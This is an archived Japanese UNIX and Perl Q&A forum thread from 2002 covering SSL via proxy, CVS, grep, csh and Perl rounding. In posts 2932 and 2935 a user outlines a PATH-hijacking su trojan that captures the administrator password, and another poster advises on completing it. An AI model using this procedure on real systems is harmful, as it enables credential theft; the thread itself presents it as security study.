68user's page 掲示板

Prev< No. 2892〜2992> Next  [最新発言に戻る] [過去ログ一覧]
No. 2892 # コメン 2002/09/10 (火) 17:50:03
telnetやcgiを使って本IPをメモするソースがほしいのですが、どうしたらいいですか?それと出来れば設置方法も教えてほしいです。素人なのでまったく分かりません。PCに詳しい方、お願いします

No. 2893 # はさみ 2002/09/13 (金) 10:58:28
はじめまして。
先日 /dev/null が消えてしまい、少なからずシステムに影響が出てしまいました。
それまで安定稼動していたのに、何故突然消えてしまったのか原因がわかりません。サーバ上で特に作業はしていませんでした。
どなたか同じ現象に遭遇した方いらっしゃいませんか?

No. 2894 # あきゆき 2002/09/19 (木) 10:36:38
はじめまして。
いつもお世話になっています。

Linuxにて「Proxy サーバ経由の SSL 通信」を行おうと考えております。
「ネットワークプログラミングの基礎知識」にSSL 通信の方法が
記載されていますが、Proxy 経由の方法が分からず、現在格闘中です。

Proxy サーバへの接続はできました(HTTP の通信は OK です)。
Linux & C言語の初心者で恐縮ですが、
これらの技術的なアドバイス・参考になるサイトなどがありましたら、
ご教授下さい。

よろしくお願いします。

No. 2895 # 68user 2002/09/19 (木) 12:22:03
>>2894 あきゆき
平文で、
    CONNECT target.host.com:443 HTTP/1.0\r\n
    Host: target.host.com\r\n
    \r\n
を送って、サーバから
    \r\n\r\n
が来るまで読み込み (全データが到着するのを待つ)、その中に " 200 " が
含まれていれば接続成功。

その後は SSL でやりとりする、という方法で一応接続はできています。

(" 200 " が含まれていれば OK などという適当な方法以外の) まっとうな
やり方は知りません

No. 2896 # あきゆき 2002/09/19 (木) 13:34:16
>>2895 68user
早速のご返答、ありがとうございます。

ご指摘のように、"CONNECT 〜"を行い、サーバーから
"HTTP/1.0 200 Connection established"という応答がきたので、
その後、下記の SSL の設定を行いました。
----------
SSL_load_error_strings
SSL_library_init
SSL_CTX_new
SSL_new
SSL_set_fd
SSL_connect←戻り値"0"が返されます。
----------

SSL_connect で TLS/SSL handshake に失敗したので、
SSL_get_error 関数を実行すると "5"が返されました。

現在、これについて調査中ですが、原因が何か分かりますか?
SSL のやりとりに問題がありますでしょうか?
SSL のやりとりは、
「ネットワークプログラミングの基礎知識−SSL でアクセスしてみよう」の
C言語のソースの「/* ここからが SSL */」以下と同様です。
(検証中のため、「SSL でアクセスしてみよう」と同じサイトにアクセスして、結果を得ようとしております)

何卒よろしくお願いします。

No. 2897 # あきゆき 2002/09/19 (木) 14:31:45
>>2896 あきゆき

先程の書込みで不足な情報を追加します。

SSL_get_error で返される値を記載します。

1.SSL_CTX_new(SSLv2_client_method())
→SSL_connect[返り値"0"]、SSL_get_error[返り値"6"]

2.SSL_CTX_new(SSLv3_client_method())
→SSL_connect[返り値"0"]、SSL_get_error[返り値"5"]

3.SSL_CTX_new(SSLv23_client_method())
→SSL_connect[返り値"0"]、SSL_get_error[返り値"5"]

よろしくお願いします。

No. 2898 # あきゆき 2002/09/19 (木) 15:34:26
>>2897 あきゆき

お手数をおかけしました。
「Proxy サーバ経由の SSL 通信」を行うことが出来ました。
Proxy サーバ経由で HTTPS サイトから下記の応答が返されました。
"You have successfully connected using SSL (SSLv2)."

先程の SSL_connect のエラー[返り値"0"]の原因は、
"CONNECT 〜"を送信後の Proxy からの応答待ちの個所でした。

ご迷惑をお掛けして申し訳ありませんでした。
ご返答頂きました 68user さん、誠にありがとうございました。
今後ともよろしくお願いします。

No. 2899 # Kurosawa 2002/09/20 (金) 11:09:58
    お世話になっています。場違いな質問だと思いますが質問させてください。
    CVSでローカルでcommitすればサーバ上で自動的にupdateするようにしたく
loginfoを編集したのですがうまくいきません。
質問が場違いと言ったのは、CVSサーバがUNIX系ではなくウインドウズ環境だからです。cvsntを使ってます。
いろいろ調べた結果loginfoに以下のように書けばよいとの事なんですが
wincvsにてコミットするとエラーがでてしまいます。
diary (date; cat; (sleep 2; cd /home/hoge/diary; cvs -q update -d) &) >> $CVSROOT/CVSROOT/updatelog 2>&1
エラーはnot foundとCould Not Create Child Process (error 2)です。
/home/hoge/diaryや$CVSROOT/CVSROOT/updatelogな書き方がウインドウズでは適用できないと思い
d:\diaryなどに書き換えても駄目でした。

具体的には
loginfo:
test2 (date; cat; (sleep 2; d: cd d:\cvs_test3; cvs -q update -d) &) >> d:\cvs\CVSROOT\updatelog 2>&1
(test2がモジュール名、cvs_test3がupdate先フォルダでいいんですよね?)
エラー:
Executable (date; cat; (sleep 2; d: cd d:\cvs_test3; cvs -q update -d) &) >> d:\cvs\CVSROOT\updatelog 2>&1 not found
Could Not Create Child Process (error 2)

ご存知の方、いらっしゃいましたらご伝授よろしくお願いします。

No. 2900 # Kurosawa 2002/09/20 (金) 14:49:02
自己解決(?)しました。
cvsntを利用した場合、loginfoでの自動更新はできないようです。
WINサーバの場合、cygwinを使用する方法があるみたいなので
その方法を試してみる事にします。
お騒がせしました。

No. 2901 # かなっぺ 2002/09/25 (水) 11:13:07
はじめまして。お力を貸してください。
業務用に、ファイルをアップロードするPerl/CGIを作りました。
エラーもなく動作はしているのですが、巨大なファイルをアップロードするときに、かなりの時間がかかります。
具体的には167MBのファイルをアップロードするのに約40分かかりました。
同じ環境で、同じファイルをFTP(FTP.exe)を使用して転送すると、5分で処理が終了しました。

CGIで時間がかかる原因が、私のソースにあるのか、
CGIのバッファが関係しているのか、それとも他に原因があるのか、
原因の切り分けが出来ずに困っています。

通常、CGIで100MBのファイルをアップロードしようとすると
どれくらいの時間で処理できるのでしょうか?
また、どうすればFTPと同レベルの処理速度に出来るのでしょうか?

ちなみに動作環境はUNIX、線は100BASE、Perl5。
アップロードするCGIにはCGI.pmやcgi-lib.pl等のモジュールは仕様していません。
(それが原因でしょうか?)

サーバのログには以下のように出ています。
(1)[14:17:57] "GET /xxx/ファイル入力用.cgi?flg=1 HTTP/1.1" 200 3413
(2)[14:57:11] "POST /xxx/アップロード用.cgi HTTP/1.1" 200 841

アップロードを行う(2)に処理が移るまでに、40分かかっています。
ということは、データのバッファリングに40分かかっているということなのでしょうか?

No. 2902 # 松本智也 [E-mail] 2002/09/25 (水) 12:15:00
友人がRS/6000でTCP/IPのパケット情報をmili sec単位で取得しそれをレポートとして出力したいんですが何か方法はありますか?

No. 2903 # tomu 2002/09/26 (木) 10:02:13
こんにちわ
いつもお世話になってます。

grepコマンドである検索文字列と、
その次の行を検索すると言うことは、
出来ないでしょうか?

たとえば、
ファイルの中身が
-------------------
aaa\n(改行)
bbb\n(改行)
ccc\n(改行)

aaa\n(改行)
ddd\n(改行)
eee\n(改行)
-------------------

と言うファイルがあったときに、
aaa\n(改行)
bbb\n(改行)

aaa\n(改行)
ddd\n(改行)

という結果を返して貰うことは出来ないでしょうか?

宜しくお願いします。

No. 2904 # D 2002/09/26 (木) 23:33:59
>>2903 tomu

http://x68000.startshop.co.jp/~68user/unix/pickup?grep
をご覧ください。

No. 2905 # tomu 2002/09/27 (金) 10:41:08
Dさん
見逃してました numオプション ^^;
ありがとうございました。

No. 2906 # MATSU 2002/09/27 (金) 15:43:52
はじめまして。

はじめてで恐縮ですが、質問させてください。
sortコマンドでカンマ区切りのdatファイルを
1番目と7番目の項目をキーに昇順、
5番目と6番目の項目をキーに降順
という並べ替えをしたいのですが、可能でしょうか?
よろしくご教授願います。

No. 2907 # のぞみ [URL] 2002/09/29 (日) 06:00:34
こんにちは。
HPを開いているのですが質問があります。
BBSの方にアクセス制限をかけたい人物がいるのですが
どう、打ち込めばよいかわかりません。
BBSを借りている所に質問したのですが
なかなか返事が返ってこないのでこちらに頼ろうと思い
来させて頂きました。m(__)m
どうぞ宜しくお願い致します。
その人物のホスト名は↓
FLA1Aae071.kmm.mesh.ad.jp
なんですが、*.kmm.mesh.ad.jpと打つと
全然似てない私の方まで制限がかかってしまいました。
どう打てば宜しいのでしょうか?
すいませんが教えてください。m(__)m
あと、HPに描いた絵などを無断に使用する人物を
つきとめる事等はできますでしょうか?

No. 2908 # 通りすがり 2002/09/29 (日) 15:17:59
No.2906#MATSUさん
お使いの言語はPerlですか?
Perlメモ
http://www.din.or.jp/~ohzaki/perl.htm#SortMulti
に、複数項目でのソート方法が書いてありますね。
参考になりますでしょうか。

No. 2909 # Kanchan [E-mail] 2002/09/30 (月) 14:15:10
こんにちは。
初めて質問させていただきます。
Solalisのtarコマンドでファイルをtarファイルにまとめようとしたのですが、
    "ディレクトリ階層が深くダンプできません"
というエラーメッセージが出てうまくいきません。
    コマンド:tar cvf tarファイル ./対象ディレクトリ
対処方法を知っている方がいたら、教えていただけませんでしょうか?
よろしくお願いします。

No. 2910 # NT 2002/10/08 (火) 00:18:10
こんにちは
FreeBSDで鯖を立てながら
Perlで簡単なCGIを作っております
質問があるのですが
BBSなどでバイナリファイルのUPLoadは
どのように送ればよいのでしょうか
わかる方が居りましたらお答えをお願い申し上げます

No. 2911 # take 2002/10/10 (木) 12:12:08
突然ですが、
以前このページで紹介していたUNIX関連の本を教えていただけないでしょうか。

No. 2912 # D 2002/10/12 (土) 18:16:14
>>2911 take
右上にある全文検索フォームで適当な単語を入れてみましょう。
「書籍 or 本 or 出版社 or 著者 or 訳者」てな感じで。
あとは http://bookshelves.tripod.co.jp/ とか。

No. 2913 # (^^) 2002/10/17 (木) 23:49:14
こんにちは。突然ですが質問させて下さい。
プロセス番号0〜2の
(swapper)
/sbin/init --
(pagedaemon)
プロセスの役割は何でしょうか?

No. 2914 # G 2002/10/18 (金) 17:27:00
質問いたします。下記のコマンドの条件部分($NF ~ /'"$1"')の意味がいまいち理解できないので(最後のフィールドの中から1フィールド目の値を含むものというところまでわかるのですが・・・)、ご教示ください。
ps -el | awk '($NF ~ /'"$1"'/) {print $4}' mypid =$$

赤色の文字は 「Windows 機種依存文字」か、いわゆる「半角カナ」です。 この掲示板では自動変換されますが、今後は使用しないで下さい

No. 2915 # 68user 2002/10/21 (月) 01:58:15
今更ですが、わかるものだけ回答しておきます。

>>2901 かなっぺ
> ということは、データのバッファリングに40分かかっていると
> いうことなのでしょうか?
web サーバが全データを受信し終わってから CGI プログラムを
起動しているのでしょう。本当にそうなのかどうかは、その 40分の
間に web サーバのプロセスのメモリ使用量がどう変化しているか
観察するといいでしょう。


>>2903 tomu
> grepコマンドである検索文字列と、その次の行を検索すると言うことは、
> 出来ないでしょうか?
GNU grep ならできますが、僕の試した限りでは Solaris 標準の
grep でこれができませんでした。何かやり方はあるのでしょうか?
grep で改行コードをひっかけられば解決なんですが。


>>2910 NT
> BBSなどでバイナリファイルのUPLoadはどのように送ればよいのでしょうか
テキストファイルのアップロードと全く同じでいけるはずです。


>>2913 (^^)
> (swapper)
> (pagedaemon)
スワップ制御とページング制御をする (カーネル内の) プロセスです。

> /sbin/init --
http://X68000.startshop.co.jp/~68user/unix/pickup?init をどうぞ。


>>2914 G
OS のバージョンと ps -el の結果とがないと、これの意図するところは
わかりません。

> ps -el | awk '($NF ~ /'"$1"'/) {print $4}' mypid =$$
awk が解釈するのは
    '($NF ~ /'

    '/) {print $4}'
だけで、$1 の部分はシェルが 1つ目の引数に置換するはずです。

No. 2916 # G 2002/10/21 (月) 09:42:23
>>2915 68user
情報不足で申し訳ございませんでした。しかし、私の疑問は解決致しました。
$1はフィールドではなく、スクリプトの引数を示すということですね。
ありがとうございました。

No. 2917 # G 2002/10/25 (金) 16:39:46
下記のスクリプトはHP-UXの/etc/rc.configファイルなのですが,${CFG_FILE##*/}と${fname##*[.,~\#]}の解読ができません。
どうかご教示ください。よろしくお願い致します。

for CFG_FILE in /etc/rc.config.d/* /etc/TIMEZONE
do
    fname=${CFG_FILE##*/}
    if [ -f $CFG_FILE -a "$fname" !="core" -a "${fname##*[.,~\#]}" = "$fname"]
    then . $CFG_FILE
    fi
done

No. 2918 # ふくし 2002/10/26 (土) 03:01:41
今日簡単なタテケイの問題がありました。タブ区切りで
    ブック名 ファイル名 数値A 数値B 数値C
    ・・・

というファイルをブック名ごとにサマリーし、やはりタブ区切りで
    ブック名 Σ数値A Σ数値B Σ数値C
    ・・・
というファイルを作らなければならなかったのですが、

    while(<STDIN>) {
        ($bname = $fname, $A, $B, $C) = split;
        $data{$bname}{A} += $A;
        $data{$bname}{B} += $B;
        $data{$bname}{C} += $C;
    }
    for $bname (sort keys %data) {
        print join, /\t/, $bname,
            $data{$bname}{A},$data{$bname}{B},$data{$bname}{C},"\n";
    }

とか書いたらどうしても数値が若干少なくなってしまいます。
数万行あって、ほとんどの行は合ってるんだけど
全体の数字が少ない、、。
しかも、カラム A と B は合ってるのに C だけ少ない。

よくよく見るとファイル名に空白が入ってて、
split /\t/ にしないといけなかったんでした。
しかも、ファイル名が空白のデータは特定のカラムにしか
データがなかった。
ふつうこんな間違い方はしませんが、同時に複数の問題が
発生していて、すごくハマりました(泣)

No. 2919 # みー [E-mail] 2002/10/27 (日) 17:33:09
はじめまして。さっそくなんですが質問です。
掲示板CGIを改造してメール送信機能をつけたのですが、改行が反映されていなかったり、題名が文字化けしたりしてます。
ソースはhttp://www.starcity.ne.jp/~hide/0test/treebbs+.txtです。
元はhttp://www.starcity.ne.jp/~hide/0test/treebbs-.txtです。
#------------------メール送信機能-------------------------#
open(MAIL,"| /usr/sbin/sendmail -t") || &error("送信できません。");
print MAIL <<"_MAIL_";
From: ars\@xx.xx
To: hide_mkhs\@yahoo.co.jp
MIME-Version: 1.0
Subject: A-train railway service
X-Mailer: Sendmail
Content-type: text/plain; charset=ISO-2022-JP
Content-Transfer-Encoding: 7bit

投稿がありました。
名前:$name
題名:$subject
メールアドレス:$mail
ホームページ:$url
メッセージ:$msg
---------------------------------------
投稿者情報
IP:$ip
ホスト:$host
---------------------------------------
A-train railway service(http://www.starcity.ne.jp/~ars/)
_MAIL_
close(MAIL);
#--------------------メール送信機能------------------------#
こう書き加えたんですが…
いま題名はA-train…ですが、日本語にすると文字化けしてしまい、来たメールは
投稿がありました。
名前:みー
題名:新規
メールアドレス:ars@starcity.ne.jp
ホームページ:http://www.starcity.ne.jp/~ars/
メッセージ:<b>タグは‥?</b>どうでしょう?
---------------------------------------
投稿者情報
IP:218.133.200.111
ホスト:YahooBB218133200111.bbtec.net
---------------------------------------
A-train railway service(http://www.starcity.ne.jp/~ars/)
のように改行が反映されてなく、タグもみえみえです。しかも、レスの記号をあらわす">"は&gt;となってしまいます。

どうすればいいのか教えてください。

No. 2920 # ふくし 2002/10/29 (火) 02:10:19
>>2919 みー
メールは HTML じゃなくてプレーンテキストなので、
タグが見え見えだったり改行がそのままだったりするんでしょう。
HTML 形式を維持するなら
HTML メールをサポートしてるメーラーに
HTML 形式のメールを送ればいいんじゃないでしょうか。
(その場合ヘッダはどうなるんでしょうね。
    よくわかりません。よく広告とかで壁紙がついてきたりするから、
    できることはわかっているのだが、、)
題名が文字化けなのは、ISO-2022-JP を正しく読み込んで
ないからでしょう。ブラウザーが送ってくる文字はさまざまなので、
jcode.pl あたりで変換するとか。

No. 2921 # yuk 2002/10/30 (水) 11:50:10
こんにちは。
ちょっとわからないことが有ります。
ご存知の方は教えていただけますでしょうか。
cshで、

set str = "abc def" (←abcとdefの間は全角スペース)
echo $stf

とすると、

abc def (←abcとdefの間は半角スペース)

と表示されてしまいます。
なんとかsetで設定した通りに(全角スペースをそのままに)出力したいのですが、
どのようにすれば良いでしょうか?

No. 2922 # yuk 2002/10/30 (水) 11:52:39
>>2921(訂正)

echo $stf
ではなく
echo $str
でした。

No. 2923 # 68user 2002/11/01 (金) 22:50:29
>>2917 G
> 下記のスクリプトはHP-UXの/etc/rc.configファイルなのですが,
> ${CFG_FILE##*/}と${fname##*[.,~\#]}の解読ができません。
HP-UX の sh は知りませんが、FreeBSD の sh では
          ${parameter##word}
                          最長前置パターンの削除: まず word が展開され、その結果をパターン
                          として扱います。パラメータ parameter の左から、パターンに一致する
                          最長の部分を削除した文字列に置換されます。
とあるので、多分同じでしょう。

> ${CFG_FILE##*/}
basename(1) と同じでしょうね。

> ${fname##*[.,~\#]}" = "$fname"
ファイル名に . , ~ # が含まれていないことをチェックしている
のだと思います。

こういう場合は sh -x /etc/rc.config などとして、どういう
ふうに解析されているのかを調べるというのも一つの手です。

>>2921 yuk
> abc def (←abcとdefの間は半角スペース)
> と表示されてしまいます。
そういう処理をする csh があるとは知らなかったので、OS 名を
教えてください。で、本題ですが echo "$str" でいけるんじゃ
ないでしょうか。

No. 2924 # G 2002/11/06 (水) 13:47:19
2923>
ご返答ありがとうございました。
sh -x コマンドは初めて知りました。
これから活用させていただきます。

No. 2925 # なお@HP-UX11 2002/11/06 (水) 16:21:46
あるプロセスのメモリ使用量を調べたいのですが、可能でしょうか?

No. 2926 # ふくし [E-mail] 2002/11/15 (金) 05:05:47
会社で UTF-8 と Big5(台湾)の変換ソフトが必要になったので、
ローカルに Perl 5.8 を入れてみました。
(ちょっとテストで失敗したんだけど、よくわかんないので
    入れてしまつた ;;;)
=== big5 => UTF-8 ===
#! perl
use encoding 'utf8', STDIN=>'big5';
while (<STDIN>) {
        print;
}
というのはうまくいったっぽいんですが、
=== UTF-8 => big5 ===
#! perl
use encoding 'big5', STDIN=>'utf8';
while (<STDIN>) {
        print;
}
というのは UTF-8 側に BOM(efbbbf)があると
そこがそのまま出てきます。
use encoding 'big5', STDIN=>'utf8';
を使わないで Encode の変換関数を明示的に呼ぼうと思うんですが
(で、BOM はもしあったら事前にカットする)
うまくいきませんでした。つたない質問ですみませんが
何かわかりましたらご教示ください。

No. 2927 # kiki 2002/11/17 (日) 21:23:54
はじめまして。
c言語で書かれたプログラムを使って, .bash_profileのPATHを変更したいのですが,
なかなかうまくいきません.どなたか教えていただけないでしょうか.

ソースは以下のとうりです.

#include<stdio.h>
#include<stdlib.h>

main(int argc, char *argv[])
{
    char buf[100];

    sprintf(buf,"export PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin");
    system(buf);

    exit(1);
}

コンパイルは通って,実行時にエラーは出ませんでした.
bufに文字列はしっかり送られていました.
export PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin とターミナル上で
打つと,しっかりPATHは変更されました.

よろしくお願いします.

No. 2928 # G 2002/11/18 (月) 19:48:53
例えば/aaa/bbb/cccというPATHがあったとして、aaaの部分だけ抜き取る簡単な方法はありませんでしょうか?

/HP-UX

No. 2929 # NAGISA 2002/11/18 (月) 20:17:26
はじめまして。こんばんは。UNIXについて質問があります。
与えられた引数を、そのままエコーバックするシェルスクリプトを作成しいのですが、どうしたらいいかわかりません。
アドバイスを頂けたら幸いです。よろしくお願いします。

No. 2930 # 68user 2002/11/18 (月) 21:28:01
>>2926 ふくし
すいませんが、わかりません。
# 僕の知識は perl-5.00503 で止まっているので…。

>>2927 kiki
system は内部で fork して、子プロセスが sh を実行します。

> sprintf(buf,"export PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin");
> system(buf);

によって、子プロセスが実行する sh の環境変数は変更されますが、sh は
すぐに終了してしまうので親プロセス (正確には親の親プロセス)に環境変数は
渡りません。

ではどうすればよいか、という話になりますが、
> .bash_profileのPATHを変更したいのですが,
なぜそれをやりたいのか、ここで本当にやりたいのは何かを考えてみると
対策も見えてくるかもしれません。


>>2928 G
> 例えば/aaa/bbb/cccというPATHがあったとして、aaaの部分だけ抜き取る
> 簡単な方法はありませんでしょうか?
こんな感じでしょうか。
    % echo /aaa/bbb/ccc | sed 's|\(/[^/]*\).*|\1|'
    /aaa


>>2929 NAGISA
> 与えられた引数を、そのままエコーバックするシェルスクリプト
そういう場合は「エコーバック」とは言わないような気がしますが、
    #!/bin/sh
    echo $@
とか、
    #!/bin/sh
    for i in $@; do
        echo $i
    done
とか。

No. 2931 # 68user 2002/11/18 (月) 21:29:21
>>2925 なお@HP-UX11
> あるプロセスのメモリ使用量を調べたいのですが、可能でしょうか?
ps コマンドなぞどうでしょうね。

No. 2932 # kiki 2002/11/19 (火) 12:53:52
>>2931 68userさん
お返事ありがとうございます.kikiです.

> .bash_profileのPATHを変更したいのですが,
セキュリティに関する勉強でsuコマンドになり済ますトロイ
について勉強していまして,実際に自分のPCで実験しています.

suコマンドを使うユーザのアカウントを入手してあるという場合
を想定して,自分の一般ユーザ権限から自分の管理者権限のパス
ワードを盗むという実験です.手順は

1.あるディレクトリにトロイをおいて
2.PATH変更,トロイ置場を先に検索するようにする.
3.コマンドsuでsuトロイ起動.盗んだパスワードをファイルに
  書き込んで,トロイは自分を削除する.
4.suコマンドをもう一度実行,本物のsuコマンドが起動

です.3.の手順までは問題なく進みましたが,4.を実行すると
bash: /suトロイ置場/suトロイ : そのようなファイルやディレクトリはない
といわれてしまいました.

suトロイは消えていたので,本物のsuを探しに行ってくれるはずなのですが,
どうやら本物のsuを探しにいってくれないようなのです.
もちろんPATHは本物のsuにも通っています.
そこで,suトロイの中でPATHを変更しようと思ったのです.

No. 2933 # G 2002/11/19 (火) 16:04:44
>>2930 68user
いつもありがとうございます。
ただ感謝と尊敬の念でいっぱいです。
また、宜しくお願いします。

No. 2934 # ふくし 2002/11/20 (水) 23:52:58
>2930
さん、ありがとうございます。
5.6 にせよ、5.8 にせよ、まだ使いこなせてませんが、
結構面白いっぽいですよ。
(インストールで失敗してるぼくの言うことじゃないが ;;;

No. 2935 # 68user 2002/11/21 (木) 04:13:12
>>2932 kiki
シェルを置き換えたのか、~/.bash_profile を書き換えて
自作 su を起動するようにしたのかよくわかりませんが、

> 2.PATH変更,トロイ置場を先に検索するようにする.
ができているなら、後は /usr/bin/su を起動すればいいだけ
だと思います。そこで PATH が出てくる理由がよくわかりません。


>>2934 ふくし
> 5.6 にせよ、5.8 にせよ、まだ使いこなせてませんが、
> 結構面白いっぽいですよ。
うっかりプログラミング Perl 第3版 (perl-5.6 用) なぞ買って
しまいましたが、ぜひ利用したいのは our ですね。次点はちょっと
安全になった open。

それ以外はまーいいやって感じです。

ときに our って C でいうところの
        int get_num(){
                static int num=1;
                return num++;
        }
        main(int argc, char *argv[])
        {
                printf("num=%d\n", get_num());
                printf("num=%d\n", get_num());
                printf("num=%d\n", get_num());
                printf("num=%d\n", get_num());
                printf("num=%d\n", get_num());
        }
のような static だと思い込んでいたんですが、今 本を読み直してみると
なんか違うような気も。

あと、キー固定のハッシュ (キーをタイプミスするとエラー扱い)、
順番を保持するハッシュ (セットした順に keys が返ってくる) って
導入されてないんでしたっけ。どこかで聞いた覚えがあるんですが、
見つけられない。

# キー固定のハッシュは Class::Struct を使えばいいのかな。

No. 2936 # 68user 2002/11/21 (木) 04:23:03
>>2935 68user
> あと、キー固定のハッシュ (キーをタイプミスするとエラー扱い)、
> 順番を保持するハッシュ (セットした順に keys が返ってくる) って
> 導入されてないんでしたっけ。どこかで聞いた覚えがあるんですが、
> 見つけられない。
みびょーに違う話のような気もしますが、perl-5.005_03 でも
      $john=[{age=>1, eyes=>2, weight=>3}, 47, "brown", 186];
      print "$john->{eyes}\n";
      print "$john->[2]\n";
てな書き方ができるんですねぇ。これは知らなかった。

No. 2937 # ふくし [E-mail] 2002/11/21 (木) 16:26:20
すいません、今度は Perl 5.005_03 の話です ;;;
経理システムで、
・単価はドル建てだが、セント未満の端数がありうる
    (1個につき 0.001 ドルとか)
・個数は「個」だが、1個未満の端数がありうる
    (0.1 個とか)
という条件で、単価x個数=売上を、
小数点以下第3位で切り捨て(小数点以下第2位まで)で求めよ、
という問題で
「100倍して int して100で割る」ということをしていました。

#! perl
$tanka = 10000.88; # ドル
$kosuu = 1; # 個
$uriage100 = $tanka * $kosuu * 100; # 売上の 100 倍
print "uriage x 100 = $uriage100\n";
$uriage = int($uriage100)/100;
print "uriage = $uriage\n";

しかしこうすると、int(1000088) は 10000088 になるので、
uriage x 100 = 1000088
uriage = 10000.87
となります。もっとも手軽な回避方法はなんでしょうか。
もしお分かりでしたらご教示ください。

No. 2938 # 初心者 [E-mail] 2002/11/21 (木) 17:02:30
cshrcファイルの内容について皆さんにお聞きしたいです。
source .cshrcコマンドを出すときにUnmatchedといわれていますけど、
どこに問題があるかは良く分かりません。
cshrcの内容は以下のようになります*************
# .cshrc

# User specific aliases and functions
# alias rm 'rm -i'
alias ls 'ls --color'
alias cp 'cp -i'
alias mv 'mv -i'

#setenv PATH "/usr/sbin:/sbin:$PATH"
setenv NCARG_ROOT "/usr/local/ncarg"
setenv PATH "/usr/sbin:/bin:$NCARG_ROOT/bin
              :/home/hongbin/fdgrib1.0/src/pre/fdgrib:/home/hongbin/rams4.3
              :/home/hongbin/rams4.3/chq1/plvrams:$PATH"
#setenv LD_LIBRARY_PAYH "/usr/FFC/lib"
#setenv MANPATH "/usr/FFC/man:$NCARG_ROOT/man"

setenv PGI "/usr/pgi"

set path = ( $PGI/linux86/bin $path )

if($?MANPATH ==1) then
        setenv MANPATH $PGI/man:$MANPATH
else
        setenv MANPATH $PHI/man
endif

#setenv MANPATH "$MANPATH":$PGI/man
setenv LM_LICENSE_FILE "$PGI/license.dat"
setenv MANPATH "$PGI/man:$NCARG_ROOT/man"

set prompt='[%n@%m %c]#'

*****************
どこが間違っているでしょうか。
よろしくお願いします。

No. 2939 # 名無し 2002/11/21 (木) 17:07:21
>>2937 ふくし
sprintfは?

No. 2940 # 名無し 2002/11/21 (木) 17:09:27
>>2938 初心者
この書き方は出来るのかな??複数行にわたるクオート

setenv PATH "/usr/sbin:/bin:$NCARG_ROOT/bin
                            :/home/hongbin/fdgrib1.0/src/pre/fdgrib:/home/hongbin/rams4.3
                            :/home/hongbin/rams4.3/chq1/plvrams:$PATH"

No. 2941 # 68user 2002/11/21 (木) 17:14:28
>>2937 ふくし
勘定系ってやっぱり BCD だったりするんだろうかと思いつつ、
こういうときの常套手段を知らないので、しばし傍観。

>>2938 初心者
csh -fv .cshrc しましょう。あるいは、1行ずつ手でタイプ
(あるいはマウスでコピペ) しましょう。どこに問題があるのか
わかります。

No. 2942 # ふくし [E-mail] 2002/11/21 (木) 17:30:37
>>2940 名無し
さん、ありがとうございます。

sprintf は四捨五入なんですね。
ということはあらかじめ 0.005 を引いておけばよい?
−−−−−−−−−−プログラム−−−−−−−−−−−−−−>8
#! perl

while (<DATA>) {
                chomp;
                $tanka = $_; # ドル
                print "tanka = $tanka ";
                $tanka -= 0.005; # 切り捨てたいから
                $kosuu = 1; # 個
                $uriage100 = $tanka * $kosuu * 100; # 売上の 100 倍
                $uriage = $uriage100 / 100;
                $uriage = sprintf "%.2f", $uriage;
                print "uriage = $uriage\n";
}
−−−−−−−−−−プログラム終わり−−−−−−−−−−−>8
実行結果。
> keisan
tanka = 10000.88 uriage = 10000.88
tanka = 10000.881 uriage = 10000.88
tanka = 10000.882 uriage = 10000.88
tanka = 10000.883 uriage = 10000.88
tanka = 10000.884 uriage = 10000.88
tanka = 10000.885 uriage = 10000.88
tanka = 10000.886 uriage = 10000.88
tanka = 10000.887 uriage = 10000.88
tanka = 10000.888 uriage = 10000.88
tanka = 10000.889 uriage = 10000.88

なんかできてるっぽい、、?

__DATA__
10000.88
10000.881
10000.882
10000.883
10000.884
10000.885
10000.886
10000.887
10000.888
10000.889

No. 2943 # 68user 2002/11/21 (木) 17:38:02
>>2942 ふくし
これなんかどうでしょうね。
http://www.harukaze.net/~mishima/perl/faq/newbiefaqpgm.html#5

> $uriage = $uriage100 / 100;
最後に 100 で割るのがなんかおそろしいなぁ。

値によっては循環小数になったりしないのかな。循環小数になっても
%.2f してるから OK?

No. 2944 # ふくし 2002/11/21 (木) 17:49:16
すいません、お騒がせしております ;;;
100 で掛けたり、割ったりしているのは、
int を使いたかったからで、
sprintf を使っている以上、必要ないですね。

(切り捨ての場合)
while (<DATA>) {
                chomp;
                $tanka = $_; # ドル

                print "tanka = $tanka ";

                $tanka -= 0.005; # 切り捨てたいから
                $kosuu = 1; # 個

                $uriage = sprintf "%.2f", $tanka * $kosuu;

                print "uriage = $uriage\n";
}

四捨五入の場合は 0.005 を引くのをやめるとか。

No. 2945 # ふくし 2002/11/21 (木) 18:32:31
だめでした ;;;
sprintf "%.2f", $a;
に、$a に 10000.005 を渡すと、10000.00 になります。
(環境に依存しまくるかな。FreeBSD 2.2.8_Release、Perl 5.005_03)

しょうがないので . で split して、、いろいろしようと思います ;;;

ちなみに 68User さん、BCD というのはモジュールありますか?
CPAN で検索したら EBCDIC_convert なんとかというのしか
見つかりませんでした ;;;

No. 2946 # ふくし 2002/11/21 (木) 19:18:10
一人で駄投稿を繰り返して大変申し訳ありません。
けっきょく 100 倍して 0.5 を足して 100 で割る形式に戻し、
変数をすべて Math::BigFloat にしました。
なんとなくできているような気がしますが、
これぐらいの時間帯になってくると
「いったい何ができてるってことなのか」わからなくなってくるので ;;;
明日また考えます。X68000 さん、名無しさん、ありがとうございました。
何かありましたらよろしくお願いします。

No. 2947 # ふくし 2002/11/22 (金) 00:32:45
家に帰って思ったけど dc コマンドを `` で囲んでもよかったかも ;;;

No. 2948 # hsj 2002/11/22 (金) 19:58:19
>>2947 ふくし
もう解決してらっしゃる様ですが、最初のソースの
$uriage100 = $tanka * $kosuu * 100; # 売上の 100 倍

$uriage100 = $tanka * $kosuu * 100 + 0.05; # 売上の 100 倍
みたいにして、端数の発生しない桁(この例なら0.01セントの桁)で
適当な数字を足してやると良いんじゃないでしょうか。
端数の発生しない桁が決められない場合はダメですが・・・。
#ぱっとみて思いついただけなんで全然的外れかもしれません

No. 2949 # tak 2002/11/24 (日) 00:25:59
はじめまして。FreeBSD4.6.2-RELEASEとXFree86 4.2をインストールして、XDMからログインしようとしているのですが、rootではログインできるのですが、一般ユーザだとログインできたと思ってもすぐにもとのログイン画面に戻ってしまいます。.xsessionは作っていないので記述ミスはないと思うのですが、なぜ一般ユーザだとログインできないのか分かりません。どなたか対処法を知っている方がいましたら教えていただきたいのですが。
よろしくお願いします。

No. 2950 # tak 2002/11/25 (月) 23:02:58
解決しました。

